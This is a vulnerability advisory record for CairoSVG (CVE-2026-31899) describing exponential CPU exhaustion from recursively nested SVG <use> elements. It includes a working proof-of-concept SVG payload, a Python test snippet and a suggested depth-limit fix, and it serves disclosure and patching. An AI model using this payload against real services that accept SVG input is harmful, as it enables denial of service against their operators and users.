Vulnerabilities in pkg:pypi/CairoSVG

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f38f-5xpm-9r7c",
  "modified" : "2026-04-15T21:09:46Z",
  "published" : "2026-03-13T18:57:31Z",
  "aliases" : [ "CVE-2026-31899" ],
  "summary" : "CairoSVG vulnerable to Exponential DoS via recursive <use> element amplification",
  "details" : "## Summary\n\nKozea/CairoSVG (~300K downloads/week) has exponential denial of service via recursive `<use>` element amplification in `cairosvg/defs.py` (line ~335). This causes CPU exhaustion from a small input.\n\n## Severity\n\nHigh — CVSS 3.1: 7.5\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n## Vulnerable Code\n\nFile: `cairosvg/defs.py` (line ~335), function `use()`\n\nThe `use()` function recursively processes `<use>` elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.\n\n## Impact\n\n- 1,411-byte SVG payload pins CPU at 100% indefinitely\n- Memory stays flat at ~43MB — no OOM kill, process never terminates\n- Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able\n- Amplification factor: O(10^N) rendering calls from O(N) input\n\n## Proof of Concept\n\nSave as `poc.svg` and run `timeout 10 cairosvg poc.svg -o test.png`:\n\n```xml\n<?xml version=\"1.0\"?>\n<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n  <defs>\n    <g id=\"a\"><rect width=\"1\" height=\"1\"/></g>\n    <g id=\"b\"><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/></g>\n    <g id=\"c\"><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/></g>\n    <g id=\"d\"><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/></g>\n    <g id=\"e\"><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/></g>\n  </defs>\n  <use xlink:href=\"#e\"/>\n</svg>\n```\n\nExpected: `timeout` kills the process after 10 seconds (it never completes on its own).\n\nAlternatively test with Python:\n```python\nimport cairosvg, signal\nsignal.alarm(5)  # Kill after 5 seconds\ntry:\n    cairosvg.svg2png(bytestring=open(\"poc.svg\").read())\nexcept:\n    print(\"[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s\")\n```\n\n## Suggested Fix\n\nAdd recursion depth counter to `use()` function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.\n\n## References\n\n- [CWE-400](https://cwe.mitre.org/data/definitions/400.html)\n\n## Credit\n\nKai Aizen (SnailSploit) — Adversarial AI & Security Research",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "CairoSVG"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.9.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.8.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Kozea/CairoSVG/security/advisories/GHSA-f38f-5xpm-9r7c"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Kozea/CairoSVG/commit/6dde8685ed3f19837767bce7a13a5491e3d0e0bf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Kozea/CairoSVG"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-13T18:57:31Z",
    "nvd_published_at" : "2026-03-13T19:54:38Z"
  }
}